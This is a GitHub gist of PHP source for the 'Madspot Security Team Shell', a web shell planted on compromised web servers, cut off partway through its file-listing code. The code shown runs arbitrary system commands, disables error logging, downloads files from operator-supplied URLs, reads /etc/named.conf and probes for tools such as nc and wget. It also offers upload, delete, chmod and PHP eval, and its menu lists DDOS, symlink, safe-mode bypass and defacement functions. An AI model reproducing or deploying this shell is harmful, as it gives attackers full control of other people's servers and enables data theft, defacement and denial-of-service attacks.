Last active
December 10, 2015 22:18
-
-
Save smiler/4500976 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
?><?php | |
/** | |
* @author Ikram ALI | |
* @copyright 2012 | |
*/ | |
@define('VERSION','1.0'); | |
@error_reporting(E_ALL ^ E_NOTICE); | |
@session_start(); | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
@ini_set('max_execution_time',0); | |
@set_time_limit(0); | |
@set_magic_quotes_runtime(0); | |
if(get_magic_quotes_gpc()) { | |
function madstripslashes($array) { | |
return is_array($array) ? array_map('madstripslashes', $array) : stripslashes($array); | |
} | |
$_POST = madstripslashes($_POST); | |
} | |
$default_action = 'FilesMan'; | |
$default_use_ajax = true; | |
$default_charset = 'Windows-1251'; | |
if (strtolower(substr(PHP_OS,0,3))=="win") | |
$sys='win'; | |
else | |
$sys='unix'; | |
$home_cwd = @getcwd(); | |
if(isset($_POST['c'])) | |
@chdir($_POST['c']); | |
$cwd = @getcwd(); | |
if($sys == 'win') | |
{ | |
$home_cwd = str_replace("\\", "/", $home_cwd); | |
$cwd = str_replace("\\", "/", $cwd); | |
} | |
if($cwd[strlen($cwd)-1] != '/' ) | |
$cwd .= '/'; | |
function madEx($in) { | |
$out = ''; | |
if (function_exists('exec')) { | |
@exec($in,$out); | |
$out = @join("\n",$out); | |
} elseif (function_exists('passthru')) { | |
ob_start(); | |
@passthru($in); | |
$out = ob_get_clean(); | |
} elseif (function_exists('system')) { | |
ob_start(); | |
@system($in); | |
$out = ob_get_clean(); | |
} elseif (function_exists('shell_exec')) { | |
$out = shell_exec($in); | |
} elseif (is_resource($f = @popen($in,"r"))) { | |
$out = ""; | |
while(!@feof($f)) | |
$out .= fread($f,1024); | |
pclose($f); | |
} | |
return $out; | |
} | |
$down=@getcwd(); | |
if($sys=="win") | |
$down.='\\'; | |
else | |
$down.='/'; | |
if(isset($_POST['rtdown'])) | |
{ | |
$url = $_POST['rtdown']; | |
$newfname = $down. basename($url); | |
$file = fopen ($url, "rb"); | |
if ($file) { | |
$newf = fopen ($newfname, "wb"); | |
if ($newf) | |
while(!feof($file)) { | |
fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 ); | |
} | |
} | |
if ($file) { | |
fclose($file); | |
} | |
if ($newf) { | |
fclose($newf); | |
} | |
} | |
function madhead() | |
{ | |
if(empty($_POST['charset'])) | |
$_POST['charset'] = $GLOBALS['default_charset']; | |
$freeSpace = @diskfreespace($GLOBALS['cwd']); | |
$totalSpace = @disk_total_space($GLOBALS['cwd']); | |
$totalSpace = $totalSpace?$totalSpace:1; | |
$on="<font color=#0F0> ON </font>"; | |
$of="<font color=red> OFF </font>"; | |
$none="<font color=#0F0> NONE </font>"; | |
if(function_exists('curl_version')) | |
$curl=$on; | |
else | |
$curl=$of; | |
if(function_exists('mysql_get_client_info')) | |
$mysql=$on; | |
else | |
$mysql=$of; | |
if(function_exists('mssql_connect')) | |
$mssql=$on; | |
else | |
$mssql=$of; | |
if(function_exists('pg_connect')) | |
$pg=$on; | |
else | |
$pg=$of; | |
if(function_exists('oci_connect')) | |
$or=$on; | |
else | |
$or=$of; | |
if(@ini_get('disable_functions')) | |
$disfun=@ini_get('disable_functions'); | |
else | |
$disfun="All Functions Enable"; | |
if(@ini_get('safe_mode')) | |
$safe_modes="<font color=red>ON</font>"; | |
else | |
$safe_modes="<font color=#0F0 >OFF</font>"; | |
if(@ini_get('open_basedir')) | |
$open_b=@ini_get('open_basedir'); | |
else | |
$open_b=$none; | |
if(@ini_get('safe_mode_exec_dir')) | |
$safe_exe=@ini_get('safe_mode_exec_dir'); | |
else | |
$safe_exe=$none; | |
if(@ini_get('safe_mode_include_dir')) | |
$safe_include=@ini_get('safe_mode_include_dir'); | |
else | |
$safe_include=$none; | |
if(!function_exists('posix_getegid')) | |
{ | |
$user = @get_current_user(); | |
$uid = @getmyuid(); | |
$gid = @getmygid(); | |
$group = "?"; | |
} else | |
{ | |
$uid = @posix_getpwuid(posix_geteuid()); | |
$gid = @posix_getgrgid(posix_getegid()); | |
$user = $uid['name']; | |
$uid = $uid['uid']; | |
$group = $gid['name']; | |
$gid = $gid['gid']; | |
} | |
$cwd_links = ''; | |
$path = explode("/", $GLOBALS['cwd']); | |
$n=count($path); | |
for($i=0; $i<$n-1; $i++) { | |
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; | |
for($j=0; $j<=$i; $j++) | |
$cwd_links .= $path[$j].'/'; | |
$cwd_links .= "\")'>".$path[$i]."/</a>"; | |
} | |
$drives = ""; | |
foreach(range('c','z') as $drive) | |
if(is_dir($drive.':\\')) | |
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; | |
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> | |
<link href="http://www.madspot.net/favicon.ico" rel="icon" type="image/x-icon"/> | |
<title>Madspot Security Team Shell</title> | |
<style type="text/css"> | |
<!-- | |
.whole { | |
background-color: #CCC; | |
height:auto; | |
width: auto; | |
margin-top: 10px; | |
margin-right: 10px; | |
margin-left: 10px; | |
} | |
.header { | |
height: auto; | |
width: auto; | |
border: 7px solid #CCC; | |
color: #999; | |
font-size: 12px; | |
font-family: Verdana, Geneva, sans-serif; | |
background-color: #000; | |
} | |
.header a {color:#0F0; text-decoration:none;} | |
span { | |
font-weight: bolder; | |
color: #FFF; | |
} | |
#meunlist { | |
font-family: Verdana, Geneva, sans-serif; | |
color: #FFF; | |
background-color: #000; | |
width: auto; | |
border-right-width: 7px; | |
border-left-width: 7px; | |
border-top-style: solid; | |
border-right-style: solid; | |
border-bottom-style: solid; | |
border-left-style: solid; | |
border-top-color: #CCC; | |
border-right-color: #CCC; | |
border-bottom-color: #CCC; | |
border-left-color: #CCC; | |
height: auto; | |
font-size: 12px; | |
font-weight: bold; | |
border-top-width: 0px; | |
} | |
.whole #meunlist ul { | |
padding-top: 5px; | |
padding-right: 5px; | |
padding-bottom: 7px; | |
padding-left: 2px; | |
text-align:center; | |
list-style-type: none; | |
margin: 0px; | |
} | |
.whole #meunlist li { | |
margin: 0px; | |
padding: 0px; | |
display: inline; | |
} | |
.whole #meunlist a { | |
font-family: arial, sans-serif; | |
font-size: 14px; | |
text-decoration:none; | |
font-weight: bold; | |
color: #fff; | |
clear: both; | |
width: 100px; | |
margin-right: -6px; | |
padding-top: 3px; | |
padding-right: 15px; | |
padding-bottom: 3px; | |
padding-left: 15px; | |
border-right-width: 1px; | |
border-right-style: solid; | |
border-right-color: #FFF; | |
} | |
.whole #meunlist a:hover { | |
color: #000; | |
background: #fff; | |
} | |
.foot { | |
font-family: Verdana, Geneva, sans-serif; | |
background-color: #000; | |
margin: 0px; | |
padding: 0px; | |
width: 100%; | |
text-align: center; | |
font-size: 12px; | |
color: #CCC; | |
border-right-width: 7px; | |
border-left-width: 7px; | |
border-bottom-width: 7px; | |
border-bottom-style: solid; | |
border-right-style: solid; | |
border-right-style: solid; | |
border-left-style: solid; | |
border-top-color: #CCC; | |
border-right-color: #CCC; | |
border-bottom-color: #CCC; | |
border-left-color: #CCC; | |
}'; | |
if(is_writable($GLOBALS['cwd'])) | |
{ | |
echo ".foottable { | |
width: 300px; | |
font-weight: bold; | |
}";} | |
else | |
{ | |
echo ".foottable { | |
width: 300px; | |
font-weight: bold; | |
background-color:red; | |
} | |
.dir { | |
background-color:red; | |
} | |
"; | |
} | |
echo '.main th{text-align:left;} | |
.main a{color: #FFF;} | |
.main tr:hover{background-color:red;} | |
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } | |
.bigarea{ width:99%; height:300px; } | |
</style> | |
'; | |
echo "<script> | |
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; | |
var a_ = '" . htmlspecialchars(@$_POST['a']) ."' | |
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; | |
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; | |
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; | |
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; | |
var d = document; | |
function set(a,c,p1,p2,p3,charset) { | |
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
} | |
function g(a,c,p1,p2,p3,charset) { | |
set(a,c,p1,p2,p3,charset); | |
d.mf.submit(); | |
}</script>"; | |
echo ' | |
</head> | |
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> | |
<div class="whole"> | |
<form method=post name=mf style="display:none;"> | |
<input type=hidden name=a> | |
<input type=hidden name=c> | |
<input type=hidden name=p1> | |
<input type=hidden name=p2> | |
<input type=hidden name=p3> | |
<input type=hidden name=charset> | |
</form> | |
<div class="header"><table width="100%" border="0" align="lift"> | |
<tr> | |
<td width="3%"><span>Uname:</span></td> | |
<td colspan="2">'.substr(@php_uname(), 0, 120).'</td> | |
</tr> | |
<tr> | |
<td><span>User:</span></td> | |
<td>'. $uid . ' [ ' . $user . ' ] <span> Group: </span>' . $gid . ' [ ' . $group . ' ] </td> | |
<td width="14%" rowspan="8"><img alt="" src="data:image/jpeg;base64,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" /></td> | |
</tr> | |
<tr> | |
<td><span>PHP:</span></td> | |
<td>'.@phpversion(). ' <span> Safe Mode:'.$safe_modes.'</span></td> | |
</tr> | |
<tr> | |
<td><span>Our IP:</span></td> | |
<td>'.@$_SERVER["SERVER_ADDR"].' <span>Server IP:</span> '.@$_SERVER["REMOTE_ADDR"].'</td> | |
</tr> | |
<tr> | |
<td><span>WEBS:</span></td> | |
<td width="76%">'; | |
if($GLOBALS['sys']=='unix') | |
{ | |
$d0mains = @file("/etc/named.conf"); | |
if(!$d0mains) | |
{ | |
echo "CANT READ named.conf"; | |
} | |
else | |
{ | |
$count; | |
foreach($d0mains as $d0main) | |
{ | |
if(@ereg("zone",$d0main)) | |
{ | |
preg_match_all('#zone "(.*)"#', $d0main, $domains); | |
flush(); | |
if(strlen(trim($domains[1][0])) > 2){ | |
flush(); | |
$count++; | |
} | |
} | |
} | |
echo "$count Domains"; | |
} | |
} | |
else{ echo"CANT READ |Windows|";} | |
echo '</td> | |
</tr> | |
<tr> | |
<td height="16"><span>HDD:</span></td> | |
<td>'.madSize($totalSpace).' <span>Free:</span>' . madSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</td> | |
</tr>'; | |
if($GLOBALS['sys']=='unix' ) | |
{ | |
if(!@ini_get('safe_mode')) | |
{ | |
echo '<tr><td height="18" colspan="2"><span>Useful : </span>'; | |
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); | |
foreach($userful as $item) | |
if(madWhich($item)) | |
echo $item.','; | |
echo '</td> | |
</tr> | |
<tr> | |
<td height="0" colspan="2"><span>Downloader:</span>'; | |
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); | |
foreach($downloaders as $item2) | |
if(madWhich($item2)) | |
echo $item2.','; | |
echo '</td> | |
</tr>'; | |
} | |
else | |
{ | |
echo '<tr><td height="18" colspan="2"><span>useful:</span>'; | |
echo '--------------</td> | |
</tr><td height="0" colspan="2"><span>Downloader: </span>-------------</td> | |
</tr>'; | |
} | |
} | |
else | |
{ | |
echo '<tr><td height="18" colspan="2"><span>Window:</span>'; | |
echo madEx('ver'); | |
echo '</td> | |
</tr> <tr> | |
<td height="0" colspan="2"><span>Downloader: </span>-------------</td> | |
</tr>'; | |
} | |
echo '<tr> | |
<td height="16" colspan="2"><span>Disabled functions:</span>'.$disfun.'</td> | |
</tr> | |
<tr> | |
<td height="16" colspan="2"><span>cURL:'.$curl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' PostgreSQL:'.$pg.' Oracle: </span>'.$or.'</td><td width="15%">'.base64_decode("PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRzcG90Lm5ldCIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuPjxmb250IGNvbG9yPSIjMEYwIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULk5FVDwvZm9udD48L3NwYW4+PC9hPg==").'</td> | |
</tr> | |
<tr> | |
<td height="11" colspan="3"><span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.' Safe_mode_include_dir:'.$safe_include.'</td> | |
</tr> | |
<tr> | |
<td height="11"><span>Server </span></td> | |
<td colspan="2">'.@getenv('SERVER_SOFTWARE').'</td> | |
</tr>'; | |
if($GLOBALS[sys]=="win") | |
{ | |
echo '<tr> | |
<td height="12"><span>DRIVE:</span></td> | |
<td colspan="2">'.$drives.'</td> | |
</tr>'; | |
} | |
echo '<tr> | |
<td height="12"><span>PWD:</span></td> | |
<td colspan="2">'.$cwd_links.' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color=red >|CURRENT|</font></a></td> | |
</tr> | |
</table> | |
</div> | |
<div id="meunlist"> | |
<ul> | |
<li><a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">HOME</a></li> | |
<li><a href="#" onclick="g(\'proc\',null,\'\',\'\',\'\')">PROCESS</a></li> | |
<li><a href="#" onclick="g(\'phpeval\',null,\'\',\'\',\'\')">EVAL</a></li> | |
<li><a href="#" onclick="g(\'sql\',null,\'\',\'\',\'\')">SQL</a></li> | |
<li><a href="#" onclick="g(\'hash\',null,\'\',\'\',\'\')">HASH</a></li> | |
<li><a href="#" onclick="g(\'connect\',null,\'\',\'\',\'\')">CONNECT</a></li> | |
<li><a href="#" onclick="g(\'zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li> | |
<li><a href="#" onclick="g(\'dos\',null,\'\',\'\',\'\')">DDOS</a></li> | |
<li><a href="#" onclick="g(\'safe\',null,\'\',\'\',\'\')">SAFE MODE</a></li> | |
<li><a href="#" onclick="g(\'symlink\',null,\'\',\'\',\'\')">SYMLINK</a></li> | |
<li><a href="#" onclick="g(\'spot\',null,\'\',\'\',\'\')">MADSPOT</a></li> | |
<li><a href="#" onclick="g(\'selfrm\',null,\'\',\'\',\'\')">KIll C0de</a></li> | |
</ul> | |
</div> | |
'; | |
} | |
function madfooter() | |
{ | |
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' > | |
<tr> | |
<td width='17%'><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>__MK FILE__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td> | |
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>__MK DIR__</span><br><input class='dir' type=text name=d value=''><input type=submit value='>>'></form></td> | |
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);return false;\"><span>__DELETE__</span><br><input class='dir' type=text name=del value=''><input type=submit value='>>'></form></td> | |
<td width='19%'><form onsubmit=\"g('FilesTools',null,this.f.value,'chmod');return false;\"><span>__CHMOD__</span><br><input class='dir' type=text name=f value=''><input type=submit value='>>'></form></td> | |
</tr> | |
<tr> | |
<td colspan='2'><form onsubmit='g(null,this.c.value,\"\");return false;'><span>__CHANGE DIR__</span><br><input class='foottable' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td> | |
<td colspan='2'><form method='post' ><span>__HTTP DOWNLOAD__</span><br><input class='foottable' type=text name=rtdown value=''><input type=submit value='>>'></form></td> | |
</tr> | |
<tr> | |
<td colspan='4'><form onsubmit=\"g('proc',null,this.c.value);return false;\"><span>__EXECUTE__</span><br><input class='foottable' type=text name=c value=''><input type=submit value='>>'></form></td> | |
</tr> | |
<tr> | |
<td colspan='4'><form method='post' ENCTYPE='multipart/form-data'> | |
<input type=hidden name=a value='FilesMAn'> | |
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> | |
<input type=hidden name=p1 value='uploadFile'> | |
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> | |
<span>Upload file:</span><br><input class='toolsInp' type=file name=f><br /><input type=submit value='>>'></form></td> | |
</tr> | |
</table> | |
</div> | |
</body> | |
</html> | |
"; | |
} | |
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) { | |
function posix_getpwuid($p) {return false;} } | |
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) { | |
function posix_getgrgid($p) {return false;} } | |
function madWhich($p) { | |
$path = madEx('which ' . $p); | |
if(!empty($path)) | |
return $path; | |
return false; | |
} | |
function madSize($s) { | |
if($s >= 1073741824) | |
return sprintf('%1.2f', $s / 1073741824 ). ' GB'; | |
elseif($s >= 1048576) | |
return sprintf('%1.2f', $s / 1048576 ) . ' MB'; | |
elseif($s >= 1024) | |
return sprintf('%1.2f', $s / 1024 ) . ' KB'; | |
else | |
return $s . ' B'; | |
} | |
function madPerms($p) { | |
if (($p & 0xC000) == 0xC000)$i = 's'; | |
elseif (($p & 0xA000) == 0xA000)$i = 'l'; | |
elseif (($p & 0x8000) == 0x8000)$i = '-'; | |
elseif (($p & 0x6000) == 0x6000)$i = 'b'; | |
elseif (($p & 0x4000) == 0x4000)$i = 'd'; | |
elseif (($p & 0x2000) == 0x2000)$i = 'c'; | |
elseif (($p & 0x1000) == 0x1000)$i = 'p'; | |
else $i = 'u'; | |
$i .= (($p & 0x0100) ? 'r' : '-'); | |
$i .= (($p & 0x0080) ? 'w' : '-'); | |
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
$i .= (($p & 0x0020) ? 'r' : '-'); | |
$i .= (($p & 0x0010) ? 'w' : '-'); | |
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); | |
$i .= (($p & 0x0004) ? 'r' : '-'); | |
$i .= (($p & 0x0002) ? 'w' : '-'); | |
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); | |
return $i; | |
} | |
function madPermsColor($f) { | |
if (!@is_readable($f)) | |
return '<font color=#FF0000>' . madPerms(@fileperms($f)) . '</font>'; | |
elseif (!@is_writable($f)) | |
return '<font color=white>' . madPerms(@fileperms($f)) . '</font>'; | |
else | |
return '<font color=#25ff00>' . madPerms(@fileperms($f)) . '</font>'; | |
} | |
if(!function_exists("scandir")) { | |
function scandir($dir) { | |
$dh = opendir($dir); | |
while (false !== ($filename = readdir($dh))) | |
$files[] = $filename; | |
return $files; | |
} | |
} | |
function madFilesMan() { | |
madhead(); | |
echo '<div class=header><script>p1_=p2_=p3_="";</script>'; | |
if(!empty($_POST['p1'])) { | |
switch($_POST['p1']) { | |
case 'uploadFile': | |
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) | |
echo "Can't upload file!"; | |
break; | |
case 'mkdir': | |
if(!@mkdir($_POST['p2'])) | |
echo "Can't create new dir"; | |
break; | |
case 'delete': | |
function deleteDir($path) { | |
$path = (substr($path,-1)=='/') ? $path:$path.'/'; | |
$dh = opendir($path); | |
while ( ($item = readdir($dh) ) !== false) { | |
$item = $path.$item; | |
if ( (basename($item) == "..") || (basename($item) == ".") ) | |
continue; | |
$type = filetype($item); | |
if ($type == "dir") | |
deleteDir($item); | |
else | |
@unlink($item); | |
} | |
closedir($dh); | |
@rmdir($path); | |
} | |
if(is_dir(@$_POST['p2'])) | |
deleteDir(@$_POST['p2']); | |
else | |
@unlink(@$_POST['p2']); | |
break; | |
default: | |
if(!empty($_POST['p1'])) { | |
$_SESSION['act'] = @$_POST['p1']; | |
$_SESSION['f'] = @$_POST['f']; | |
foreach($_SESSION['f'] as $k => $f) | |
$_SESSION['f'][$k] = urldecode($f); | |
$_SESSION['c'] = @$_POST['c']; | |
} | |
break; | |
} | |
} | |
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
if($dirContent === false) { echo '<h3><span>| Access Denied! |</span></h3></div>';madFooter(); return; } | |
global $sort; | |
$sort = array('name', 1); | |
if(!empty($_POST['p1'])) { | |
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) | |
$sort = array($match[1], (int)$match[2]); | |
} | |
echo " | |
<table width='100%' class='main' cellspacing='0' cellpadding='2' > | |
<form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>"; | |
$dirs = $files = array(); | |
$n = count($dirContent); | |
for($i=0;$i<$n;$i++) { | |
